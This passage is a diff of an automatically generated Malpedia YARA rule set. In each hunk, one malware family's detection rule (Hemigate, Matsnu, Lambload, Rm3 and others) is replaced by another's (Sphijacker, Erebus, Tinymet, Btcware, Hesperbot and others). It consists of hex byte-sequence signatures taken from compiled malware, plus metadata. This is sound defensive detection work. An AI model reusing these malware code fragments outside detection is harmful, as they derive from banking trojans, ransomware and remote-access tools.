of them and filesize < 450560 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Hemigate_Auto : FILE +rule MALPEDIA_Win_Sphijacker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7f247b7a-51fa-56b6-b5ca-706ac00fbf7d" + id = "077eac03-f3ac-5e2b-a96b-7f5530f41d45" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hemigate" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hemigate_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sphijacker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sphijacker_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "05c380bd4c229bd57061005a2f77b730cb7f642aa2a7c3aed0193470cbd60a00" + logic_hash = "99b2b9f410e1eea51f0fdbb2a2e5758813b393a388e6990a38118e63ac79cf3a" score = 75 quality = 75 tags = "FILE" @@ -146540,32 +146435,32 @@ rule MALPEDIA_Win_Hemigate_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85f6 0f8597000000 8bd3 8d4ddc e8???????? 8bf0 85f6 } - $sequence_1 = { c1e208 0bd1 0fb64f06 3155a8 0fb65707 c1e208 0bd1 } - $sequence_2 = { c3 ff75f4 ff36 ff15???????? 8bf0 83c408 85f6 } - $sequence_3 = { 8b550c 8d45d4 50 8d8fa8000000 e8???????? 8b55cc 8d8fb8110100 } - $sequence_4 = { 83f801 0f85b8000000 ffb55cf7ffff ffd3 0fb7c0 8d9554f7ffff 6a02 } - $sequence_5 = { c1c919 33c8 8b75ec 8bc7 8b7de8 c1c806 33c8 } - $sequence_6 = { c1e903 f7e1 56 c1ea03 33f6 8d0492 03c0 } - $sequence_7 = { eb48 b840000000 8bfb 2bc1 3bd8 0f43f8 8d462c } - $sequence_8 = { 0f84a4f4ffff 8b45c8 0345c4 53 50 51 e8???????? } - $sequence_9 = { 8d742418 8bf8 f3a5 8143080c020000 e9???????? 8d4c2418 51 } + $sequence_0 = { 33db 488d154de60100 4533c0 488d0c9b 488d0cca baa00f0000 e8???????? } + $sequence_1 = { 4885c9 741c 488d05208b0000 483bc8 7410 b801000000 f00fc1815c010000 } + $sequence_2 = { 488d159ee00100 ff15???????? 488b4d20 488d4510 c744242804000000 } + $sequence_3 = { 488d8d16120000 0f1005???????? 898510120000 33d2 0fb705???????? 41b8f2010000 } + $sequence_4 = { 6666660f1f840000000000 803099 488d4004 4883e901 75f3 } + $sequence_5 = { 488d4510 c744242804000000 488d158fdb0100 41b904000000 4889442420 } + $sequence_6 = { 4533db 488d3d6b340000 4d85c9 488bc2 4c8be2 } + $sequence_7 = { 488b4d18 4c8d4520 488d158ee30100 ff15???????? 488b4d20 } + $sequence_8 = { 8b442430 8bc8 cd29 488d0d765e0100 e8???????? 488b442428 } + $sequence_9 = { 57 4883ec20 418bf0 4c8d0d2b320100 8bda 4c8d051a320100 488bf9 } condition: - 7 of them and filesize < 991232 + 7 of them and filesize < 808960 } -rule MALPEDIA_Win_Matsnu_Auto : FILE +rule MALPEDIA_Win_Erebus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ac7d48b9-a967-5b74-8534-0fe3b275eb93" + id = "39f02208-f6d1-53ec-bb2d-e4d6d7fbb231" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matsnu" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.matsnu_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.erebus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.erebus_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "5be086cc43b82632d1f6dd9c773840652ffd11fa9db4f5cb2927e6c0f81579b4" + logic_hash = "720efa579203a9c164159e94c36d17e968a866b84ffb4b18a083c36176a0a8d5" score = 75 quality = 75 tags = "FILE" @@ -146579,32 +146474,32 @@ rule MALPEDIA_Win_Matsnu_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? 8985bcfbffff 83bdb0fbffff01 0f8588000000 8b85bcfbffff 8985c4fbffff 8b85c0fbffff } - $sequence_1 = { c645f700 c645f800 c645f90d c645fa0a c645fb00 } - $sequence_2 = { 750f c785a4fbffff02000000 e9???????? 8985bcfbffff 83bdb0fbffff01 } - $sequence_3 = { 8b75fa 01c6 8b4604 48 0145de ff45c6 } - $sequence_4 = { 0f8229010000 c745ea00000000 8b45e6 c1e004 8b75fa } - $sequence_5 = { 751d ff75ba ff7510 e8???????? 8945f6 } - $sequence_6 = { 884db8 807db800 7503 ff45be } - $sequence_7 = { c745f600000000 c745fa00000000 e8???????? 5b } - $sequence_8 = { 837d1800 7405 8b7d18 8907 b820000000 } - $sequence_9 = { 31c0 8985bcfbffff ffb5c4fbffff e8???????? 83f800 } + $sequence_0 = { 51 53 50 52 8bcf e8???????? 837d1c08 } + $sequence_1 = { 32db eb02 b301 57 e8???????? 83c404 c7442420ffffffff } + $sequence_2 = { 83c430 837dec10 720b ff75d8 e8???????? 83c404 837d1c10 } + $sequence_3 = { 55 57 8bf9 3bfa 7412 8d049d00000000 50 } + $sequence_4 = { 732f 8a80c4244f00 8d4da8 88857cfeffff ffb57cfeffff 6a01 e8???????? } + $sequence_5 = { 8d4e38 e8???????? 8d87e4000000 50 8d8ee4000000 e8???????? 5f } + $sequence_6 = { 8b542410 f30f6f40f0 83c708 8d4920 8d4020 660f380005???????? f30f7f41e0 } + $sequence_7 = { 83c40c 8b4610 89442444 8b542450 33c0 8b742454 8bca } + $sequence_8 = { 83f905 7d10 668b444b0c 6689044d0c775200 41 ebe8 8bce } + $sequence_9 = { bd20000000 83c6fc 2be9 03f2 8b16 8d76fc } condition: - 7 of them and filesize < 606992 + 7 of them and filesize < 2564096 } -rule MALPEDIA_Win_Tendyron_Dropper_Auto : FILE +rule MALPEDIA_Win_Dratzarus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "08b15c69-b6bb-5f67-94b5-3ede90043914" + id = "f9302a79-cbbb-577e-b0de-afebe2c4bd13" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tendyron_dropper" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tendyron_dropper_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dratzarus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dratzarus_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "94561d7c039213b2f4a4b8b35e59d5ff0543e6273d6a081dce691bd5357ae7eb" + logic_hash = "0edbbc2d6b5b6d721d8b3aacd843dcee1111d0fce65e6b309e3647e78f406b33" score = 75 quality = 75 tags = "FILE" @@ -146618,32 +146513,32 @@ rule MALPEDIA_Win_Tendyron_Dropper_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6639430e 750f 6817070000 ff15???????? 33c0 } - $sequence_1 = { 81ec84000000 53 56 57 6a44 8bd8 } - $sequence_2 = { bf00200000 57 8945f0 e8???????? 59 6a00 57 } - $sequence_3 = { 85c0 7d0b 3b7d68 7501 } - $sequence_4 = { 56 33db 8d85b0feffff 53 50 e8???????? } - $sequence_5 = { 59 3bf3 0f84f3feffff 8b45fc 53 68d3000000 } - $sequence_6 = { 84c9 75f9 2bf2 8bce 8b75fc 33d2 f3a6 } - $sequence_7 = { 72ee 83f81e 77e9 833d????????00 } - $sequence_8 = { 68???????? c70614010000 ff15???????? 50 ff15???????? } - $sequence_9 = { 8a01 3429 0429 8801 41 4e } + $sequence_0 = { c7850002000016bc0b71 c78504020000128aa4ac c785080200000fa52ff4 c7850c020000421880f6 c7851002000023121336 } + $sequence_1 = { c7852802000014a20b6d c7852c02000012d8a499 c785300200000fa32ffa c78534020000420d80c7 c78538020000230a133f 66c7853c0200003e85 } + $sequence_2 = { 894511 66894515 8b05???????? 894517 0fb705???????? 6689451b } + $sequence_3 = { 6689440afe 6685c0 75ef 33c0 4883c9ff 488dbc2480060000 } + $sequence_4 = { 488d8de0000000 ba0f000000 488905???????? e8???????? 488bcb 488bd0 ff15???????? } + $sequence_5 = { bf01000000 488bcb ff15???????? 8bc7 488b8c2460020000 4833cc e8???????? } + $sequence_6 = { c74424306133dc18 c7442434679eb315 66c744243876d4 c785e0000000eb6cf5c3 } + $sequence_7 = { c7450c4b676e4a c745101d29ecd4 c745142daca8b6 c64518f2 c785800000005e7c6d4c c78584000000747e6447 c785880000003134f9ef } + $sequence_8 = { 89842454020000 e8???????? b902000000 8d5701 4533c0 } + $sequence_9 = { 488bd0 ff15???????? 488d8da0020000 ba14000000 488905???????? e8???????? 488bd0 } condition: - 7 of them and filesize < 58368 + 7 of them and filesize < 1606656 } -rule MALPEDIA_Win_Parasite_Http_Auto : FILE +rule MALPEDIA_Win_Tinymet_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "428f5b1a-bef9-53b1-98cc-8fc8771086ec" + id = "c4e92467-e964-5a19-9a8e-d27b4954cbf2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.parasite_http" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.parasite_http_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinymet" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinymet_auto.yar#L1-L105" license_url = "N/A" - logic_hash = "17acd197a87921b670f888ee97c4d2fb4638cc1589bba3924516c4ae4f9f894f" + logic_hash = "bbccdde23def456246dacbb5efe68ad5d612883065da6028a6a7729364ff21ca" score = 75 quality = 75 tags = "FILE" @@ -146657,32 +146552,30 @@ rule MALPEDIA_Win_Parasite_Http_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c602 43 3b5df4 72e6 8b7de4 eb07 8bcf } - $sequence_1 = { ff75f4 6aff ff15???????? 5f 5e 8bc3 5b } - $sequence_2 = { 8d95d4fdffff c785d4fdffff2c020000 8bce e8???????? e9???????? e8???????? 8b8ddcfdffff } - $sequence_3 = { 85c9 7405 e8???????? 5e 8bc3 5b 5f } - $sequence_4 = { ff7508 6801000040 57 53 ffd0 f7d8 5f } - $sequence_5 = { ff7510 6aff ff7508 6a00 68e9fd0000 ffd0 5e } - $sequence_6 = { ff55f0 8945e0 837de000 0f84eb000000 ff75ec 6a00 ff55e8 } - $sequence_7 = { e8???????? 8bd6 8bc8 e8???????? ff751c ff7518 } - $sequence_8 = { 6a00 6a00 681f000f00 57 ffd0 5f 5e } - $sequence_9 = { 8d8df8efffff 51 ffd0 5e 85c0 7917 b9???????? } + $sequence_0 = { e9???????? 8b400c ff750c 8b00 8b00 a3???????? } + $sequence_1 = { 7419 a1???????? 6a00 83c005 56 } + $sequence_2 = { 5e 5d c3 a1???????? 56 57 6a5c } + $sequence_3 = { 85c0 0f8545010000 ff7508 ff15???????? 85c0 750a 68???????? } + $sequence_4 = { 385d10 7416 6a04 8d45fc } + $sequence_5 = { 8d45f0 50 8d45e8 50 e8???????? 83c410 b80033a084 } + $sequence_6 = { a1???????? 59 50 ff35???????? } + $sequence_7 = { 33c0 57 668906 e8???????? a3???????? 8d4602 50 } condition: - 7 of them and filesize < 147456 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Cherry_Picker_Auto : FILE +rule MALPEDIA_Win_Carrotball_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a7caa2a0-b6b8-580c-adee-e174a6220843" + id = "93abea8a-2155-53fb-92a0-ba3485bf7552" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cherry_picker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cherry_picker_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotball" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.carrotball_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "576fc4aca504b01489ce7bd7347bbe12054a63e779c96e3d35219ad0c56e8479" + logic_hash = "c456cd5c607eeb3fd6729b04660b73d440499731727e6676847cfbec1800428f" score = 75 quality = 75 tags = "FILE" @@ -146696,32 +146589,32 @@ rule MALPEDIA_Win_Cherry_Picker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd3 68???????? 56 8944242c ffd3 68???????? } - $sequence_1 = { 8d442428 50 ff542420 8b442420 } - $sequence_2 = { 8bf0 8bd1 83c408 2bf2 8a11 88140e 41 } - $sequence_3 = { 68???????? 68???????? a3???????? ffd6 69c0e8030000 } - $sequence_4 = { ff15???????? a3???????? 85c0 7512 68???????? 50 } - $sequence_5 = { a3???????? ffd6 68???????? 6a3c } - $sequence_6 = { 8bf0 0fbec9 81e6ff000000 33f1 8a4a01 42 c1f808 } - $sequence_7 = { 68e8030000 68???????? 68???????? a3???????? } - $sequence_8 = { 68???????? 68e8030000 68???????? 68???????? a3???????? } - $sequence_9 = { 68???????? 56 8944242c ffd3 68???????? } + $sequence_0 = { 85c0 7451 6a00 68???????? ff15???????? } + $sequence_1 = { 6a20 6a00 68???????? 83f878 751f 68???????? } + $sequence_2 = { 6a00 6802000080 6a20 6a00 } + $sequence_3 = { 85c0 7432 8d85ecfdffff 50 ff15???????? } + $sequence_4 = { 68???????? ff15???????? eb36 68???????? 56 } + $sequence_5 = { 8d85f4fdffff 50 c785ecfdffff00000000 ff15???????? } + $sequence_6 = { 85c0 0f84f5000000 57 6a00 6a00 } + $sequence_7 = { 85c0 7451 6a00 68???????? ff15???????? eb36 } + $sequence_8 = { 0f84f5000000 57 6a00 6a00 } + $sequence_9 = { 6a04 58 6bc000 c7807430001002000000 6a04 58 6bc000 } condition: - 7 of them and filesize < 712704 + 7 of them and filesize < 40960 } -rule MALPEDIA_Win_Lambload_Auto : FILE +rule MALPEDIA_Win_Soundbite_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ceafeacb-8aed-52b1-8cc4-bc13d9e4ebc5" + id = "55542a6a-ff29-54af-9f72-2267cf185584" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lambload" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lambload_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbite" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.soundbite_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "bbe1c88e2fad81661a6dd79b8985da064315d8e7bbf36d0a65857b53079669fb" + logic_hash = "6e24536cd693eee2b46e8cd501f367ecabfbf15578ea8b1ce9e2cbd21490b0c3" score = 75 quality = 75 tags = "FILE" @@ -146735,32 +146628,32 @@ rule MALPEDIA_Win_Lambload_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a00 6a02 8bf9 c785c0fbffff04010000 ff15???????? } - $sequence_1 = { f3a4 ffb5c4fbffff ff15???????? 8d7bfe } - $sequence_2 = { 0f8468ffffff 8d85f4fdffff 50 e8???????? } - $sequence_3 = { c70009000000 ebc5 8bc3 c1f805 8d3c8500490710 8bf3 83e61f } - $sequence_4 = { 8a00 88443dfc 8a5dfd 47 ff4508 } - $sequence_5 = { 33c9 3bc7 0f95c1 894604 8d41ff 8b4dfc 5f } - $sequence_6 = { 394510 7241 6a04 5b 7705 } - $sequence_7 = { 59 8945e0 85c0 7461 8d0cbd00490710 } - $sequence_8 = { 8bff 56 57 33ff ffb7602b0710 } - $sequence_9 = { 6685c9 75f4 8b4dfc 8bfb 8bf0 } + $sequence_0 = { 8dbd64fdffff 898590fdffff 889db7fdffff 899d64fdffff 899d68fdffff 899d6cfdffff } + $sequence_1 = { 51 8dbd64fdffff e8???????? c645fc02 8b13 8bb564fdffff 52 } + $sequence_2 = { 8d7c5702 4b ebea 3bf8 0f83b2000000 0fb707 } + $sequence_3 = { 0f849a010000 e8???????? 85c0 0f848d010000 8d85d8fcffff } + $sequence_4 = { c645fc04 8bbdf8fcffff 3bcb 0f83c9000000 8bd6 3bfa 0f87bf000000 } + $sequence_5 = { 898d54fdffff 898d58fdffff 8d8db7fdffff 40 51 8dbd50fdffff c685b7fdffff00 } + $sequence_6 = { 395de4 741d 8bc7 c1f805 83e71f c1e706 8b048500cf4200 } + $sequence_7 = { ff15???????? 8bf0 8d85a0fdffff e8???????? e9???????? 8bb5a8fdffff 8d85a0fdffff } + $sequence_8 = { 33049df02e4200 81e2ff000000 330495f03a4200 4f 0f85fcfdffff 83fe04 7250 } + $sequence_9 = { 85f6 0f85b3020000 50 e8???????? 83c404 8db578fdffff e8???????? } condition: - 7 of them and filesize < 1039360 + 7 of them and filesize < 409600 } -rule MALPEDIA_Win_Deputydog_Auto : FILE +rule MALPEDIA_Win_Appleseed_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cfca8e79-f926-56a2-8c99-b5468ee055dd" + id = "6233653f-8647-5513-96a5-b2cd884fdea1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deputydog" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deputydog_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.appleseed" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.appleseed_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "ed5d5b1067c36186826e4424b2a432496a63ccbe3c2d0e290408a4c31dcb8d3d" + logic_hash = "142435c8e7521abcc92619a4e86e241d8250a7e1e464619e8d897ededc2c5423" score = 75 quality = 75 tags = "FILE" @@ -146774,32 +146667,32 @@ rule MALPEDIA_Win_Deputydog_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c20c00 56 8bf1 6a04 ff74240c 8d4624 50 } - $sequence_1 = { ff15???????? 85c0 7424 8b45d8 8b55dc 6a14 } - $sequence_2 = { 8b7508 ff75f0 ff15???????? 57 6880000000 } - $sequence_3 = { 8b45f0 59 885dfc 59 8906 57 } - $sequence_4 = { c0e102 884dff eb35 83fa01 7511 8ac1 c0e804 } - $sequence_5 = { 6a14 59 e8???????? 8b55d4 6a14 8945e4 8b45d0 } - $sequence_6 = { 6a15 be???????? 59 bf???????? f3a5 8d8d74ffffff e8???????? } - $sequence_7 = { c645fc0a ff15???????? 8d8dccfeffff c645fc05 e8???????? 8d45cc } - $sequence_8 = { 2bc8 c1f905 394df0 0f83e2000000 03c7 56 50 } - $sequence_9 = { 8808 eb53 83ff01 7518 8a0e } + $sequence_0 = { 4989742410 41c6042400 49837f1810 7208 498b0f e8???????? 49c747180f000000 } + $sequence_1 = { 0f8414010000 488d15d2160200 488d4db8 e8???????? 90 488d55d8 488bc8 } + $sequence_2 = { 48894c2470 33f6 89742440 48c741180f000000 48897110 408831 4533c0 } + $sequence_3 = { 48837dd010 7209 488b4db8 e8???????? 48833d????????00 0f847c180000 48c745d00f000000 } + $sequence_4 = { 480f434daf 488b5d07 4c8bc3 4c8b75bf 4c3bf3 4d0f42c6 4d85c0 } + $sequence_5 = { 4889742440 4088742430 448d463c 488d1524b40100 488d4c2430 e8???????? 90 } + $sequence_6 = { 488b5c2438 4883c420 5e c3 488d0d887c0200 e8???????? } + $sequence_7 = { 48897310 c60300 48837d9810 7209 488b4d80 } + $sequence_8 = { e8???????? 488325????????00 4883c428 c3 488d05310a0200 c3 4053 } + $sequence_9 = { 488bfa 488bf1 4533f6 4489742460 44887580 33d2 41b8ff030000 } condition: - 7 of them and filesize < 90112 + 7 of them and filesize < 497664 } -rule MALPEDIA_Win_Sierras_Auto : FILE +rule MALPEDIA_Win_Ati_Agent_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a99a7c2f-d459-55f5-a4a0-be6e81d58ab8" + id = "7923380a-3a79-5e9d-9e37-869ed5e218b2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sierras" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sierras_auto.yar#L1-L181" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ati_agent" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ati_agent_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "b308bc717193dd71ac31a34af288e6c64991ecd536fc577f8480631d4b62be23" + logic_hash = "6ad1a7df4d93d69034a0d3b89b3f7bb98b02a7b32cfc4a510150a1520d075ff9" score = 75 quality = 75 tags = "FILE" @@ -146813,38 +146706,32 @@ rule MALPEDIA_Win_Sierras_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? 8dbc24fc000000 83c9ff 33c0 f2ae } - $sequence_1 = { 83c408 8d94242c070000 52 ffd5 83f8ff 7516 8d84241c030000 } - $sequence_2 = { 8974243c 741a 56 57 e8???????? 83c660 83c408 } - $sequence_3 = { 817e601e010000 89465c 895df0 773e 837e641e 7738 } - $sequence_4 = { 017514 03fb 3b7d10 72b0 8b5df0 834dfcff 8d4de0 } - $sequence_5 = { f6461104 745f 83ff10 7321 837df800 0f84440d0000 8b45fc } - $sequence_6 = { ffd6 57 ffd6 8bc3 5b 5f 5e } - $sequence_7 = { ffd7 c745fcffffffff e8???????? 33c0 8b4df0 64890d00000000 } - $sequence_8 = { 897dfc 0f8cc0000000 837d0801 7e58 } - $sequence_9 = { 33c0 f2ae f7d1 49 0f8452030000 8d8c24fc000000 } - $sequence_10 = { 56 8bf1 57 68???????? 8d8608020000 50 ff15???????? } - $sequence_11 = { 8bc3 837d0800 50 8b450c 7511 8b4dec } - $sequence_12 = { 57 e8???????? 85c0 750d ff15???????? } - $sequence_13 = { c3 56 8bf1 e8???????? 8b8610010000 } - $sequence_14 = { 56 50 7507 e8???????? eb05 e8???????? 0175f0 } - $sequence_15 = { 837d0803 0f8fb0000000 397d10 897df0 0f86a4000000 8b7d14 8b450c } + $sequence_0 = { 4885c0 7404 f0440108 488d4158 41b806000000 488d1532cf0000 } + $sequence_1 = { c3 48895c2408 4889742410 57 4883ec70 8bf2 } + $sequence_2 = { 48895c2408 57 4883ec20 488d1d67870000 } + $sequence_3 = { 488d4158 41b806000000 488d1594c50000 483950f0 740b } + $sequence_4 = { 4883ec40 488b05???????? 4833c4 4889442438 498bf0 488bfa } + $sequence_5 = { 7d16 4863cf 8a84191d010000 42888401e0e80000 ffc7 ebde } + $sequence_6 = { 4c8bef 49c1fd05 4c8d3528e20000 83e31f 486bdb58 } + $sequence_7 = { e8???????? 4883c448 c3 4053 4883ec40 8bd9 } + $sequence_8 = { 48890d???????? c3 4883ec28 4c8bc1 } + $sequence_9 = { e8???????? b9ff000000 e8???????? 488bfb 4803ff 4c8d2df1790000 49837cfd0000 } condition: - 7 of them and filesize < 131072 + 7 of them and filesize < 172032 } -rule MALPEDIA_Win_Revc2_Auto : FILE +rule MALPEDIA_Win_Btcware_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a9d168dd-7c35-55c3-a239-5afaaa4e5d1b" + id = "fb79124d-5478-5d65-bb0b-b2f45f8507ae" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revc2" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.revc2_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.btcware" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.btcware_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "940c1d8169d85582e91801f5b035bb96d22b7337aecd24f108d64e53de46b408" + logic_hash = "953afc4c0f32ce8172077704d80fd52c7aee0d584b7d86a36e176eb1e7df5fbe" score = 75 quality = 75 tags = "FILE" @@ -146858,34 +146745,34 @@ rule MALPEDIA_Win_Revc2_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d4701 458bca 458bec 0f45f8 be01000000 8364244000 4183e21f } - $sequence_1 = { e8???????? 498946b0 488bc3 49894500 486307 4c6bf068 410fb6842434010000 } - $sequence_2 = { 90 488d8d90000000 e8???????? 90 488d4dd0 e8???????? 90 } - $sequence_3 = { ff15???????? e9???????? 488b0e 488b11 0fb74214 a804 0f84ab010000 } - $sequence_4 = { c5fe6f27 c5fe6f15???????? c5fe6f2d???????? c5fd71d404 c5fddbca c4e24d00d9 c5eddbc4 } - $sequence_5 = { eb12 4863c6 488d0c40 488b8388000000 488d04c8 895008 418d7701 } - $sequence_6 = { e8???????? 4c8b8424b8000000 498b38 4885ff 0f84fa010000 418bdd 4c8d0dca611200 } - $sequence_7 = { 4c894dc0 4889542450 4889442458 4c895c2440 895c2430 895c2470 895da0 } - $sequence_8 = { e8???????? 90 4c8bc0 488d4d50 e8???????? 488bf8 488d542450 } - $sequence_9 = { e8???????? 488bc3 488b5c2450 488b7c2458 4883c440 5d c3 } + $sequence_0 = { 8d85f4faffff 68???????? 50 ffd6 83c418 8d85f0faffff 50 } + $sequence_1 = { 8b4610 c6040800 83ff03 7ca9 8b7dd8 33db } + $sequence_2 = { e8???????? 8904bd40d04100 85c0 7514 } + $sequence_3 = { 6888d38101 68???????? 6a00 ffd3 33d2 } + $sequence_4 = { 50 ffb5a0d7ffff ff15???????? 85c0 0f8518feffff } + $sequence_5 = { 5d c3 55 8bec 83e4f8 b81c820000 } + $sequence_6 = { b880fd8101 c3 b87cfd8101 c3 53 56 } + $sequence_7 = { 897df4 3bfb 0f8e6fffffff 83c8ff eb07 8b04cdc42f4100 5f } + $sequence_8 = { c78564ffffff0f000000 c68550ffffff00 83f810 7245 8b8d38ffffff } + $sequence_9 = { 8945e0 8d8058c54100 8945e4 803800 8bc8 7435 8a4101 } condition: - 7 of them and filesize < 5108736 + 7 of them and filesize < 458752 } -rule MALPEDIA_Win_Rm3_Auto : FILE +rule MALPEDIA_Win_Hesperbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ae32a8ae-4008-5a29-ba53-9431479c4978" + id = "e0f58539-e576-5f23-9601-3ac2130a34d6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rm3" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rm3_auto.yar#L1-L393" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hesperbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hesperbot_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "04a502f8c76326d2d2ff87950393542f221575ef954be32116492ddddf4bc28b" + logic_hash = "1227a34f1bfab44843a47045e0bfbe06efc158b222a90f56ca95eeb7d184b831" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -146897,62 +146784,32 @@ rule MALPEDIA_Win_Rm3_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b483c 03c8 0fb74106 8365f800 } - $sequence_1 = { 897104 8b4808 ff7004 034c240c 8b00 51 } - $sequence_2 = { 7303 8975f8 8b45f8 83c628 ff4dfc 85c0 7505 } - $sequence_3 = { 53 8945fc 0fb74114 56 57 8d740818 } - $sequence_4 = { 8b4508 3b460c 7247 8b7938 8b4608 8b513c } - $sequence_5 = { 56 57 8d740818 8b4508 3b460c 7247 } - $sequence_6 = { 8b460c 03c2 394508 7303 8975f8 8b45f8 } - $sequence_7 = { f7d2 23fa 3bf8 7609 8b413c 8d5418ff } - $sequence_8 = { 8bec 51 837d0804 53 56 6a57 } - $sequence_9 = { 8bf0 6a08 8d7e10 5a 8bc7 8d4df8 e8???????? } - $sequence_10 = { 56 57 8bd8 8bf9 8db5f0feffff 8bce 8d041b } - $sequence_11 = { 8bc6 e8???????? 56 ff7510 8d8df4feffff 51 ff7508 } - $sequence_12 = { 51 8365fc00 56 8d4508 50 6a08 } - $sequence_13 = { e8???????? ff7518 